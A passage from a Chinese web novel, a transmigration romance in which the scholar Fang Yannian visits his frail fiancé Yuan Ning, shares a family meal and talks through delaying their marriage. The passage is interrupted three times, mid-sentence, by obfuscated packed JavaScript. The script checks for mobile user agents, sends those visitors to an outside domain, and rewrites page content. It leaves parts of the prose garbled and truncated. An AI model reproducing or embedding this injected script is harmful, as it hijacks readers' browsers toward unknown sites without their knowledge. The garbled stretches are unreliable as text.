“失礼了。”方衍年说着,从正门走进来,但走到沅宁面前的时候,却颇有些不知道朝哪儿下手。 沅宁将手伸过去,拉住了对方的臂弯,失去了一个支撑点,身子稍微有些发软,失了方向差点儿跌到地上,还好方衍年接得快。 沅宁靠在人怀里,后背传来呼吸间轻微的起伏感,隐约仿佛能感受到方衍年的心跳。 即使是他也会觉得有点儿不好意思,还好是背对着人,不叫看着他脸红闹笑话。 方衍年扶着他的双臂,小心翼翼地跟着他来到了厨房,大伯娘正说着要在家里办一场席热闹热闹,就被沅宁插话打断。 “大伯娘来了。” 大伯娘没反应过来,倒是姜氏放下了锅铲:“宝儿,你怎么过来了。” 沅宁笑了笑:“听到大伯娘过来,许久没见,就想来看看。” 姜氏见方衍年把小哥儿扶得好好的,也不过来讨这个嫌,又转身回去顾着锅里。 “哟,宝儿的身体可是大好了。”大伯娘敷衍地招呼了一句,话头就落在了方衍年身上,“哎呀,这不是方童生嘛!恭喜恭喜啊,考了这么多年,也算是守得云开见月明了,不打算摆席庆祝一番吗?” 方衍年哪里听不出来这位大伯娘的阴阳怪气,正要开口,就听见怀里的人说。 “是要办的,不过会推迟几天,免得抢了堂哥的风头不是。”沅宁说话力气不足,却不绵软,即使声音不大,吐字却很清晰,让人忍不住相信他是能做得了主的。 “嗨呀,都是一家人,怎的这么客气。”大伯娘被沅宁的话捧得高兴。说来也是,他们家好不容易请一会席面,就是想村里人吃完之后多说道说道,要是接连的席面儿开过去,怕是第二天就忘记是他们家先宴请的了,这话可是说进了她心里去。 “只是大伯娘也见着了,我这身体连起身都困难,到时候阿娘和嫂嫂都要照顾完我再过去,怕是帮不上什么忙。”沅宁说完一大段话有点累,喘了口气,才继续说,“不过到时候家里会提前把二哥叫回来,到时候定要厚厚给大伯娘家包一份礼。” 大伯娘听到前面的话还不太高兴,脸上的笑都僵住了,但后面沅宁说完,她又满意起来。 沅家二房虽然穷,但沅宁是当成富哥儿来养的,说要包一份厚礼,肯定不会太寒酸。 大伯娘又说了几句客套话,让沅宁养好身体,就被沅宁不动声色地送走了,正好红烧肉也出了锅。 姜氏方才没插话,现下当着儿婿的面,想着都是一家人,才忍不住开口:“宝儿啊,即使你二哥回来,恐怕也包不了多厚的礼。” 沅宁扶着方衍年的手腕,笑容温温和和的,说出来的话却让人一愣。 “阿娘,厚·礼是要的,不然怎么对得起大伯娘给我添的妆呢。” “添妆?”姜氏有些疑惑,大房那头好像没说要给宝儿添妆啊。 沅宁却没有多说:“我饿了,阿爹和哥哥何时回来?” “哎呀!”姜氏一拍大腿,“忘记让光娃子去叫了。” “不着急,我去和小光说,阿娘你先忙。”沅宁说着,又让方衍年扶着,回了房间去。 全程都没说上话的方衍年过了好一会儿才回过味儿来。 怀里这软绵绵一团小元宝,闻着好像是……芝麻馅儿的? 6. 拉钩 芝麻馅的沅宁只不过多走了几步路,就累得快要一头栽倒,得亏有方衍年扶着,才没摔地上。 刚和大伯娘虚与委蛇一番,可是把他最后那点子精气神都给耗光了,人都还没走到卧房门口,就觉得头晕目眩,整个人都栽进身后人怀里,好一会儿恢复过来。 “小叔!”不到人腰高的小孩儿扒在沅宁的膝盖上,目光担忧地看着他,黝黑的眼睛湿漉漉的,看上去像是差点儿被吓哭。 沅宁顺手往小孩儿头顶呼噜了一把:“小叔没事,就是刚刚头有点晕。” “不要紧吗?”扶着他的方衍年关切道。 沅宁点点头:“已经缓过来了。”只是依旧没什么力气,分明都已经走到了屋门口,只差几步就能坐下,他却一步都迈不出去。 小侄儿照顾了他这些时日,倒是看出来了沅宁的虚弱,急急说道:“小叔,我背你进去!” 沅宁忍不住轻轻一笑:“你个小家伙,能背得动我什么呀。” “小叔那么轻,我当然背得动,我都能背起一捆柴来了!”小家伙对于自己被看扁这件事非常不服气。 “小叔可比一捆柴重多了。”沅宁捏了一把小侄儿的脸颊,养了一个多月,可算是长出来一点肉。 “我背你进去吧。”方衍年主动提议道。 “没事,我自己能行。”沅宁异常坚持,即使走一步歇一下,也没让方衍年把他背进屋,还支着小侄儿去喊他爹娘阿爷回来吃饭。 小家伙或许不明白,这倒不是因为沅宁顾念着那些礼制,所谓男女授受不亲,何为授受,一个人递一个人接,这就叫授受,他都能让方衍年搀着他出门了,自然是不在意这些。 主要是吧……他多少还是得给自己这未来夫君留一些面子。 不是他看不起方衍年,这读书人从小到大肩不能扛手不能提的,别说背起他这么个大活人,恐怕一捆柴都扛不动,还不如他们家小侄儿呢。 但沅宁怎么会说出来呢? 方衍年能够在他病危的时候,毫不犹豫入赘他们家冲喜,光凭这一点,沅宁就愿意将方衍年视作有血脉关系的亲人。 这些时日每每家里有闲余——别说,他们家虽然家徒四壁,拢共三间卧房,他爹娘和没娶媳妇的儿子睡一个炕,大哥一家三口分一间小屋,除了沅宁的卧房,每个房子都漏风,穷得拿不出半分家底。 可沅宁想要把家里的吃用给日日花光,竟然还挺困难! 每当他暗暗安排却发现用不完的时候,就会支着他大哥送去方衍年那边。 用在自家人身上,不心疼,反正不可能拿去养大伯那家白眼狼的。 瞧瞧这些时日,他们一大家子人都养出了不少肉,生病的方衍年也因着伙食开的好些,没用什么药便病好了,足以见得大伯他们家平日里拿用了多少他们家的东西。 沅宁把方衍年当自家人,他又读过几分书,知道读书人气节高,比他们乡下人爱面子,便也不愿意伤着人家的心,宁可自己受累一些走回去,也不想方衍年难堪。 谁承想短短几步路走完,沅宁把最后一丝力气都给耗光,坐到床上都直不起身子,方衍年把他安置着靠到床头,沅宁眼皮子都困得打架。 他伸出手勾住方衍年的衣角,声音微弱得像是得不到奶吃的小猫,得人弯下腰凑近一些,才听得清他在说什么。 “我身体这般差,你会不会嫌弃我?” 方衍年看着躺在床头可怜巴巴的人儿,哪里会觉得嫌弃,只有几乎要满溢出来的心疼。他不自觉放缓语气,将那节白到晃眼的手腕给塞回床上,哄小孩儿似的拍了拍那单薄的肩。 “我心疼都来不及,怎会因为这点小事嫌弃你,不要想太多,今后我陪你慢慢把身子养回来。” 沅宁抿抿唇,十分乖巧地把下巴缩进被子里,一双鸦羽般的睫毛眨巴眨巴,不安分的手又从被子里钻出来,用手指拨了拨那垂在一旁的衣袖。 “那……拉钩?” 方衍年不由失笑:“好,拉钩。” 方衍年的手骨节匀称,不怎么出汗,皮肤也光滑,摸着像是一块儿干燥的玉,勾着他的手指晃啊晃,格外令人安心。 沅宁小小打了个呵欠,拉钩的话都还没说完,眼睛就再撑不开,安安静静睡了过去。 他身体尚未恢复,呼吸很轻很轻,白嫩的小脸藏在靛蓝发白的薄被下,分外乖巧可爱。 方衍年习惯性拍了拍大腿,却发现自己是魂穿的,身上没带手机,真可惜不能将这一幕给拍下来。 他也不好在人未出阁的小哥儿的房间待太久,虽然在此之前他一直都把哥儿当男人,但沅宝儿不同,在看到人之后,就连沅宝儿这个名字他听着都觉可爱,当然是珍之重之,和沅家人一样,将小哥儿当宝贝捧着,又怎么好让人名节受损。 虽然来到这个世界的时日不多,但方衍年多少也听到过各种闲言碎语,他可不想那些难听的话落到这如同天使般纯洁的小哥儿身上。 唉,难搞,这才见第一面呢,他就先护上了,以后家庭地位堪忧啊。 方衍年心里头唉声叹气,嘴角却扬着好久没掉下来,可是给他美得不行。 沅家两父子和大儿媳好一会儿才从田间地头回来,他们沅家二房分的薄田位置偏远了些,一趟来回都得走小半个时辰。 二房这边没什么家底,不仅要照顾自家的田,还要伺候方家那两亩地,因此连嫁进来的媳妇都不得闲,也是要出门下田的。 几人从田里回来,五岁的小侄儿跑在最前头,手里还提着两尾巴掌长的鲫鱼。 “原是说给你送过去,听说你来看望宝儿,就把鱼提了回来,等下给你蒸了吃,考完试得吃点好的补回来才是。” 自从穿越到这个世界,还是头一次被人这么关心,方衍年一时间都有那么一点儿不好意思。 毕竟这是沅宝儿的父母,不是他的,却因为一个口头定下的婚约对他这么好。 如此方衍年又忍不住对比起他原来的亲生爹娘,俩人倒是很会赚钱,从小就把他丢给住家保姆,小时候还遇到过不专业的保姆把自己当主子的,很吃过一些苦。 方衍年也不是那么好惹的就是了,故意把保姆掐在自己身上不够明显的印子给掐得更重一点,拍照发给他那天天都在度蜜月的不靠谱的爹。 得亏他爹人不靠谱,父爱多少还是有一点的,很快就把保姆换了个年轻点的,这才没继续被那老太太“鸠占鹊巢”。 方衍年最开始也是胸有成竹过来退婚的,后来嘛,怪他见色起意,见到沅宝儿之后那番话便怎么都说不出来了。再加上沅家人对他这么好…… 感情,那都是可以培养的!自由恋爱时代来的方衍年突然觉得先婚后爱也是一种仙品。 尤其在第一口红烧肉入嘴之后,可给方衍年给香迷糊了。 软乎到跟果冻一样,夹在筷子上DuangDuang乱晃的红烧肉,红亮鲜艳的色泽光看着就让人食欲大增。 冰糖微微炒焦之后的甜香裹着几种香料散发出的若有似无的辛香,以及酱油的酱香,一切香味的配比都显得那样恰到好处。 手指粗细的肉条吸满了汤汁之后浑圆一条,还是肥瘦相间带着软弹猪皮的经典款式,肉进嘴里后所有的香味一齐炸开,伴随着软烂的肥肉化在舌尖上的奇妙口感,就连瘦肉的缝隙间也填满了浓稠的汤汁,每一缕在舌尖碾开的肉丝都带着红烧肉独特的咸甜滋味。 这简直是国宴级别的美味! 方大少爷从来就没吃过这么好吃的红烧肉,他以前家境不错,虽不怎么挑嘴,但身边同龄人被宠爱过度的不少,从小就见过不少小胖墩儿,方衍年可不想变成那样,渐渐养成了不吃肥肉的习惯。 习惯形成得久了,还真就成了本能,再好吃的肥肉他都不可能碰。 但穿越过来也有两三天,每日冷锅冷灶的,不会做饭的方大少爷要不是继承了原身的记忆,怕是连灶都不会烧,勉强弄点米面糊糊出来,别说讲究味道,饿不死都算他命大。 今日为了招待他来,米饭是喷香的白米,还是才收不久的新米,用木桶煮出来的甑子饭不仅自带一股特殊的清香,煮出来的饭还粒粒分明,并非北方那种口感黏糯的粳米,籼米的口感更加清甜,好吃到让人忘记自己吃的是米饭。 几天没吃上一顿正餐的方衍年感动得眼眶都快湿润了,他感觉就是上辈子都没吃过这么好吃的饭菜。 只可惜他的身子太虚,几块红烧肉伴着半碗米饭,就撑到了八分饱。 真是个没口福的。 沅家人看他吃这么少,还担心他是不是在矜持,最后方衍年被撵着端起碗在院子里跑,沅家人才相信他是真吃不下了。 “怎么这就吃饱了,还给你煮了鱼呢。”姜氏对于方衍年还没吃上鱼这件事有些惆怅。 这儿婿那般懂事,考上童生也不嫌弃他们家,还带上了厚礼来探望,只吃这么两块肉就饱了,难怪身子骨看上去那般单薄。 不仅是当娘的,姜氏现在也是当奶奶的人了,看着瘦条条的小孩儿很是心疼。 鲫鱼刮去了鳞和内脏,又用盐和葱姜码起来腌制了会儿,下锅先把表面煎得酥脆,清水倒进去很快就熬出一小锅乳白色的汤,鲜而不腥,泡进米饭里再拌上一口红烧肉,那滋味别提多美了。 鲫鱼的个头不大,姜氏硬要往方衍年的碗里夹,方衍年连连推辞,说将这鱼肉留给沅宝儿,自己就点汤就成。 这可不是热情好客沅家人的待客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126748|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之道,众人一个劲地劝,实在是把方衍年的借口都用完了,最后方衍年才不得不承认—— 他不会吃鱼。 大少爷吃鱼必被刺卡,家里从来不吃这种小刺儿的鱼。 被一大家子揶揄地笑看着,方衍年也怪不好意思的。 “没事没事,咱们家宝儿也不太会吃鱼,这也算不是一家人,不进一家门了。”姜氏笑归笑,却不是嘲笑,她觉得儿婿愿意对他们说这些很好,说明方家小郎真把他们当一家人了。 于是姜氏也跟照顾宝儿似的,将鱼肚子肉给挑下来,又用筷子夹去了刺,放到方衍年的碗里。 方衍年这回是真不好意思了,哪有这么奢侈地吃鱼只吃鱼腹肉的! 沅家人也不让他拒绝,直接将去了刺儿的肉丢进他碗里,让他拒绝都没法推拒。 少了鱼肚子肉的两条鲫鱼,一条进了家里最小的小孩子碗里,一条进了大儿媳妇的碗里,倒是不像一些人家那样,只有男人才配吃好的,也难怪即使沅家日子辛苦,大儿媳妇也没跑,还依旧对待每个人都跟血亲一般,当真是齐心的一家。 从这些细节就可以看出,原身父母看亲家的眼光是对的。 大儿媳妇谢了一声公婆,便细细吃起来那巴掌长的小鲫鱼,贫穷人家吃东西并非讲究,而是节俭,那比头发丝还细的刺儿一根根从女人嘴里吐出来,半点鱼肉都不挂。 小侄儿就更是厉害,乳牙都没换,就学着男人们将鱼刺鱼骨细细嚼了,混着鱼肉一起吞,还不会被卡到。 方衍年看得那叫一个叹为观止。 他就着奶白的鱼汤和干净得不见一丝黑膜的鱼腩肉把剩下的饭给吃了个干净,感觉饭都快抵到喉咙门口了。 原本吃完饭打算帮着收一收桌子的,却是撑得站不起来,又闹了好一通笑话。 好久没有这般热热闹闹吃一顿饭的方衍年竟感觉有些恍惚。 他并非天生的乐观主义者,优越的家境更是让他比普通人家的孩子更多几分不食人间烟火的气质。 但从小父爱母爱缺失,造就了方衍年独立自主的人格,抗打击能力非常强,因为他在会说话之前就明白了一个道理——哭闹是没有用的。这也是他一个富家子弟来到这个陌生落后的世界,孤独一人也能生活下去的原因。 穿书这事儿说起来时髦有趣,但要是真的发生在自己身上,人们才会体验到那种被丢到言语不通国外孤身一人的感觉,有多么孤立无援。 沅家人给他带来的温暖,更是让他开不了口谈论自己一开始的目的。 可方衍年不谈,不代表沅家人不在意。 饭后,沅家两父子抬来小凳,拉着方衍年在院子里坐下。大儿媳妇带着自家小子去厨房烧水洗碗,也没关门,刻意听着外面的动静。 姜氏虽然回了房间,却也来到门边,不做声地关注着几人的谈话。 方衍年被这阵仗搞得正襟危坐,他多少能猜到父子二人要说什么,甚至特地支开了家里的妇人,少了好说话的,两父子气势更足,让人无法在他们面前轻易扯谎。 “前些年咱们家和你父母谈论你和宝儿亲事的时候,你们年纪都还小,便是定下来等宝儿及笄之后,就成亲。” 说话的人并非沅家的大儿子,而是生来就不善言辞的沅宁他爹。沅承显这人打小就是个锯嘴葫芦,只干实事,不爱说嘴,以至于连他父母都不喜欢他这性格。 今日午饭吃得热闹,却也没听这个中年男人开过口,只闷头给方衍年夹了两筷子肉,一切都靠姜氏、大儿两夫妻招呼方衍年。 可现在毕竟事关他们家最疼爱的小哥儿的终身大事,这位平日里沉默寡言的父亲,也是要亲自开口过问的。 不过他确实不擅长说好听话,语气生硬,再加上常年务农风吹日晒,酱色的皮肤和棱角分明的五官,说起话来带着几分凶狠,简直跟审犯人似的。 方衍年对这位未来岳丈的印象并不多,因此也听不出对方语气的轻重,明明刚才气氛还挺其乐融融的。他只能点头,示意自己在认真听。 “如今你孝期已过,宝儿也已及笄,虽说身体还未彻底康复,但婚事也是时候提上日程了。”沅承显眉心有几道深深的竖纹,皱起眉来很是严肃,问方衍年道,“你是怎么想的?” 方衍年捏了捏手中莫名浸出的细汗,沉默了片刻,因着沅家人对他的真诚,还是决定实话实说。 “我觉得现在谈论婚事,还是有些,为时过早……” 方衍年观察着沅家两父子的神色,果然话还没说完,父子二人的脸色就一并黑了下来。 他正打算解释一番缘由,就听不远处传来很轻的声响,顺着那声音望过去,便看见道摇摇欲坠的身影,泫然欲泣地看向他。 7. 没有不喜欢 午后本该是一天中太阳最盛的时候,却不知道哪里飘来一团厚厚的白云,把阳光都给遮住了,院子里阴沉沉的,更显得几分压抑。 沅宁听到方衍年的话,一时间像是心脏被野兽给抓了一样,疼得他差点儿喘不上气来,鼻根有些发酸,一转眼视线就变得有些模糊。 难过,委屈,还有不解,无数情绪涌上心头,思绪纷繁复杂,怎么都理不清。 他在某个瞬间,甚至都怀疑那场梦究竟是真是假,一切又是否是他生病时的臆想。 可即便是臆想,他也应该往好的方面去想象,怎么会希望家里人都以那样悲惨的结局不得善终? 沅宁扶着门框背过了身,他不知道是不是自己梦醒后一系列的作为改变了什么,只是那股子窒息感依旧让他难过得想要落泪。 原来一切都只是他的一厢情愿,方衍年压根就不想娶他,既然如此,又何必同他承诺。 “宝儿,我不是那个意思。”院子里的人急急站起身走过来,沅宁不愿意面对,却也不是那起子无理取闹的人,或许是他心中还对方衍年抱有一丝幻想,所以才愿意听他解释一二。 本就不大光亮的门前被高瘦的身影挡住了光,变得更加昏暗了些,方衍年小心翼翼伸过手,护在他身侧,却犹豫着不敢随意触碰他,只是语气里带着小心与试探:“你身体不好,我扶你坐下,慢慢同你解释可好?” 沅宁一听方衍年依旧如此温和地同他讲话,情绪里的委屈劲儿就更盛了,他噙着眼泪不让泪水掉下来,很轻地点了点头。 院内,沅令川站起身就想将方衍年那小子给抓过来,却先被他爹给提溜住了衣领按下了。 厨房里洗碗的两母子也一齐快步走出来,女人用围裙擦着手上的水,跟在两父子后面往里头翘。 就连在屋里的姜氏都再坐不住,推开门走出来,一大家子人也不好走得太近,隔着门站在门外听,所幸门倒是没被关上,也听得清里面的人在说什么。 沅承显虽然平日里不声不响的,到底是一家之主,多少有些主意,有他按着,一家人倒是没有去打断房间里二人的谈话,何况他们也需要听听,这个方家的小子到底又想说些什么好听话来哄骗他们。 屋里的方衍年还不知道门外有那么多双耳朵在听,只虽然急着解释,却也将人好好扶回床上坐着,他不好也坐到旁边去,便拉了条小凳子坐去床边。 沅宁这张床支得比一般人家的床高些,他身体不好,睡觉离地面太近了湿气重,容易生病,还是家里专门拿钱找木工打的。 方衍年的个头虽然高,但坐在那矮凳子上,两条长腿憋屈地并着,还得仰起头才能看他,那副乖乖模样,让沅宁想起来以前家里养的狗。 惯是会做出这副可怜的模样,真当他会心软不成。 想是这么想,沅宁心里头那点气却消了一半,稍微冷静下来仔细一琢磨,便觉得自己刚刚是被莫名的情绪冲昏了头脑。 那场噩梦虽然荒唐,沅宁却不怀疑其真实程度,很多事情原本就有预兆,只不过沅宁以前不甚在意,由着父母兄长们自己做主,毕竟他在家里没出什么力,父母兄长爱拿自己赚来的东西送出去,他也不多置喙。 因为他是哥儿,即使识字快,爱读书,很有一套察言观色的本领在身上,可那又怎么样呢? 阿娘和三哥时常叹他是个哥儿身,但凡是个男子,恐怕也能考取三两功名,而不至于在后院蹉跎一生。 沅宁也知道自己的挣扎无用,所以他认命、乖巧,待字闺中等着成婚,今后辅佐夫君一二,若是能高中,便也算作实现了自己的愿望。 正是拥有这样的头脑和心性,沅宁才能不动声色地将一家子悄无声息地从原本的命运中拉出来。 何况,梦里的事情不也应验了么? 科举多年无果的未婚夫,孝期结束之后,和大房那头的表哥同场考下了童生,足够证明梦境的真实性,他不该怀疑方衍年对他的真心。 如此想着,沅宁便看向方衍年,他需要一个足够说服他的解释。 床前的人抬起头,愿意以一副低姿态同他解释,光是这样的态度,就足够沅宁多出几分耐心。 “我并非不想娶你,只是你现在年纪还太小。” 沅宁听着方衍年的话微微蹙眉,他最是会示弱,并没有表现出过于强势的逼问,目光中却带上了几分哀愁。 “可我已经及笄,村里我这般大的哥儿,不少都已经成亲,搬到夫家那边去了。” 女子哥儿及笄,男子弱冠,就不能再享受减免后的人丁税了,家中子女及笄弱冠之后,不仅需要缴纳完整的丁税,年十五后未成婚的还要额外缴纳算赋,一算为一百二十文,每三年涨一算。 寻常人家每年要缴五百文的户税,家里还要按人丁数缴纳丁税,哪里还供得起未婚娶的再缴一个算赋,都是十三四岁就开始相看人家,趁着每年赋税之前把人嫁出去,还少缴两份税钱。 哥儿及笄同女子一样,年十六便得缴完整的税,去年家里就给沅宁缴了算赋,村里那些嘴碎的可没少背地里说闲话,即使沅家缴得起这个钱,方衍年也要被戳脊梁骨。 当然,自从方衍年答应入赘之后,说嘴的倒是少些了,毕竟入赘之后户税并到沅家,方衍年傻了才不趁着孝期过了早早成婚,莫不是想等秋收赋税时白白多缴几份税款? 经由沅宁的提醒,方衍年大概也反应过来自己还是习惯于用未来的观念看社会,忘记了这边的习俗。 就说沅宝儿那大哥,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126749|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他年长不了几岁,孩子都能背得动一捆柴了。 方衍年经的是现代教育,穿越前也跟这副身体一般年纪,刚上大二,天天跟着室友骂早八,母胎单身一个,结婚俩字和他八竿子打不着。 也就是遇见了沅宝儿,他才第一次体会到了什么叫一见钟情,什么叫小鹿乱撞,不夸张的说,他连以后孩子叫什么都想好了。 但沅宝儿年纪小也是真的,才十六岁,放在他那个时代就是个高中生,他怎么敢答应完婚,方衍年都想报警把自己抓起来。 沅宁看方衍年沉默了半晌没说话,心也渐渐沉下去半截。 或许梦里的方衍年,是看在他们家的帮扶下,才愿意和他成亲,反正那时候他早就病入膏肓,活不了几天,这年头男子续弦并不遭人诟病,政策还有鼓励呢。 他垂了垂眼眸:“你若真是不喜欢我……” 沅宁话都没说完,床前的人倏地就站了起来,急着证明自己似的,差点没举起手指发誓:“这个绝对没有!” “那你为何不愿?”沅宁还是疑惑。 “我……”床前的人满脸都是纠结,组织了好一会儿语言,才重新坐下来,态度真诚,“我并非不愿,只是觉得,你年纪还小,没见过外面的世界,就这么草草嫁给了我,今后若要后悔了怎么办?” 沅宁实在不理解对方的担忧:“我为什么会后悔?” 方衍年也是被他问住了,一顿,才继续回答:“你我才第一次见面,你也不了解我,万一今后发现我并没有你想象中那么好……” 沅宁慢慢回过味来,倒是他想多了。他原本以为方衍年一个读书人,如今还考上了童生功名,或许会觉得他一个农户家的哥儿配不上他。 毕竟士农工商,士大夫的地位往往是最高的,又怎么会如此妄自菲薄。 沅宁也不是不能理解,他看过那么些话本子,比方衍年更瞻前顾后的大有人在,读书人心思是要重一些,不过,如果这些思绪都是在为他考虑,沅宁还是有一些高兴的。 “年哥哥。”沅宁轻轻将手覆在方衍年的手上,感受到对方微微一顿,却没有躲开,心里又是一阵欢欣,“你今日也是第一次同我相见,可会觉得,今后哪日我也会让你厌烦?” 方衍年蹙眉,他的确想象不出来那样的画面,沅家的家风教不出惹人厌的孩子,沅宝儿也不是那无理取闹的性子,或许生活上娇气些,但他完全能够接受,甚至因为他自己的性格,还希望有个人能够依赖自己,陪伴自己一生。 他神情严肃,如同承诺一般郑重道:“我绝不会轻易厌烦你。” 眼前的人勾唇笑着,连眼尾也弯起柔软的弧度,微微泛冷的指尖搭在他的手上,认真看着他,说。 “我也一样。” 8. 二哥下山 两厢说开之后,沅宁心中悬着的巨石落下,还因为方衍年对他的重视,简直比吃了没冲水的蜜糖还要甜。 天上那团厚密的云不知道什么时候被风吹跑了,阳光直直照下来,虽然照不进屋子里,但房间里也因此变得亮堂起来。 沅宁拉着方衍年的手,轻轻晃了晃,就见他的书生郎脸颊浮出一层薄薄的颜色,显得气色好了许多,倒衬得那张脸更加好看了。 “我、那我去和岳父他们商量一下……” 也不知怎的脸皮这样薄,竟就这样跑出去了,然后被门外盯梢的一大家子人给捉了去,一下午都没能放走。 商量婚事可不是几句话就能定下来的,尤其现在家里因为沅宁的并入不敷出,原本去年还是个丰年,好容易攒下来些钱,是打算用来办亲事的,沅宁一生病便全都用了。 “家里也不愿委屈你,只是当下实在是拿不出这么多来……” 既然注定要成为一家人,沅家人便开诚布公地和方衍年商讨起来。家中并非一直都这么捉襟见肘,虽然家里的田地要等秋收才能有一笔收入,但家里几个儿子争气,二儿子时常会打些猎物回来补贴家用,三儿子虽说是学徒,每月拿不到几个月钱,但乡里乡亲的看好了病,总是要提一些鸡蛋肉菜的去感谢,倒也时常分的到一些给拿回来。 家里大儿媳妇也能干,隔两日去山里捡柴火,会顺带挖些野菜回来,日子虽然不富足,但也饿不着,甚至隔三差五还能吃上回肉,至少在吃肉这方面,还是赶得上村里平均水平的。 农闲的时候,村里还有好些人十天半个月都见不着荤腥,更有些家里田地不多的或者佃农,一年到头只有过年的时候才能吃上顿肉。 如今宝儿身体有所好转,还有他哥亲自照料着吃药,药钱方面倒是花销不多,若是有意存一些,倒是出不了多久,就能攒下来一笔银钱。 方衍年家里只剩这一个独子了,就算沅家人强把人绑了过门,这文弱书生也反抗不了什么,不说家里最小的崽子,就连大儿的媳妇都能把人撂倒。 但沅家并非那些丧良心的人家,既然谈好了入赘,那么该给的“聘礼”也是得给的,人家孤身一个人赘进来,今后还要读书科举,身上有点银子总是必须的。 只是家里现在暂时还拿不出钱来,所以沅家人商量着,让方衍年先住过来,老二这次下山把野物卖掉换的那些钱,恐怕得先紧着大房那边送一份礼,剩下的还要拿来置办席面。 怎么说方衍年也是考上了童生,到时候两件事一起办了,也不会让村里人看笑话。 方衍年也是没想到沅家人这么实诚,说是入赘还真就要给他准备“聘礼”。 他这人也是想得开,不就是吃软饭嘛!就凭他夫郎那张脸,倒贴他都愿意。 而且这个吃软饭,还是真热汤热饭,隔三差五有肉吃,味道不必星级酒店差的那种。 五谷不分的方大少爷仅凭着之前的记忆每天煮点糊糊吃,都快把自己养死了。更何况他有原身的记忆,知道原身之前开的伙食怎样,虽说十天半个月也会去买一点肉吃,但这没有经过选育过的土猪肉腥臊味儿重的很,家里又没有调料,每次就是把肉白水煮熟放点盐,那味道吃不了两块儿就打吐,难怪这副身体严重营养不良。 方衍年恨不得今天就搬过来住,但这边的屋子比他那边的条件还差几分。 虽说父母离世之后,那些个吃人不吐骨头的亲戚来他们家,把他们家的好几间屋子都给拆了,将砖瓦拉走给自家盖房子去,但多少还是给方衍年剩了两间屋子和一个草棚子当厨房的。 先前方衍年就打量过,沅家的屋子都只能算茅草棚,也就沅宁的房间多少要好一些,他都怀疑但凡来一阵风,屋顶都能被吹跑。 只是他那边就两间屋子,住不下这么多人,而这边暂时也没地方给他住,方衍年过来,要么直接住进沅宁的房间,要么就是睡柴房。 村里人讲究不多,很多人成亲直接到里正那里登记下,人住过去就做数,连席面都不一定摆,没那么多讲究。 但方衍年这人还是很有底线的,就算抛开年龄不谈,宝儿都还生着病,他也不能跟个畜生似的直接往人房里钻。 “叔婶,要不这样,我先过来住柴房,把我老宅那边还有两间瓦房给拆了,过来修两间屋子……” “这怎么行!” 方衍年的话刚说出来,就被沅家人驳回了。 “咱们又不是那起子黑心肝的,怎么能将你家房子给拆了,那是你的私产!孩子,婶子知道你人实诚,但也不能这么不为自己考虑啊。” 什么叫做没有对比就没有伤害,原身父母离世,要不是有沅家帮衬着,方衍年连那最后两间砖瓦房都要被亲戚拆走,现在他都即将入赘,沅家人却不愿意动他的财产。 “叔婶,我知道你们是为了我好,但我今后住过来,房子空着也是空着,久了不住人容易坏不说,谁知道会不会被我那些叔伯兄弟偷偷给拉走。”方衍年想的倒是通透,“可那些个好砖好瓦的拆了过来垒,多少我还住得上,怎么能算我亏呢。” 沅家人倒是很快就被方衍年给说服了。 “不愧是读过书的孩子,还是你有主意,孩子你放心,叔婶也不会贪你家的砖瓦,到时候你那房间就挨着宝儿的房间垒起来,他那边的墙结实,等房子垒起来了,你和宝儿睡一间,另一间留给你当书房,你也能好好准备科考。” 方衍年感觉自己好多年都没遇到过这么淳朴的人了,他爹妈对他都没这么好过。 “书房……”他刚想回绝,说自己暂时不想继续科举了,就被姜氏给按了下来。 “书房一定得要,孩子,你不用为了别的事操心,家里多口人吃饭还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哥你收着点儿劲,天气转热先把水喝了吧。”沅宁被小侄儿搀着出来,就看见他哥故意欺负人。 说来也是奇了怪,他哥这性子,是怎么十天半个月一个人在山上呆得住的,一家子人最爱热闹的就是他。 “啧啧,人都还没过门,胳膊肘都拐村尾去,小时候白疼你了!”沅令舟端过来海碗咕咚咕咚喝了个精光,摸了把嘴角的水渍,在皮子上擦干净手,这才神神秘秘从怀里掏出来几个圆滚滚的东西。 “亏我还记着你说的事情,下来之前专门绕路去溪边的荡子里好一番摸寻,野鸭屁.股底下给你抢来的蛋,你摸,还是热乎的呢!” 沅宁扶着椅子坐下,也不伸手接,还笑:“真不愧是二哥,还有这本事在身上,都不用去村里借不下蛋的母鸡,揣你怀里说不定就能孵出来。” 9. 好多毛茸茸 “你这小哥儿,就知道打趣你哥!”沅令舟伸出手就要往沅宁脸上捏,摸到那软乎乎的脸颊又舍不得,最后用长着茧的拇指在沅宁的脸颊上轻轻按了一下,按得沅宁直往后仰,全家人都笑作一团。 “哥你快揣回去吧,鸡都还没借回来呢,等下冻得孵不出来,过年可没肉吃。”沅宁打趣是打趣,但也不是真在说笑。 孵化中的蛋如果失温的时间长了,很是容易孵化失败,而且如今四月,正是春夏交织的时间,大部分的野鸭都带上娃了,这几个蛋估计也快破壳,可是马虎不得。 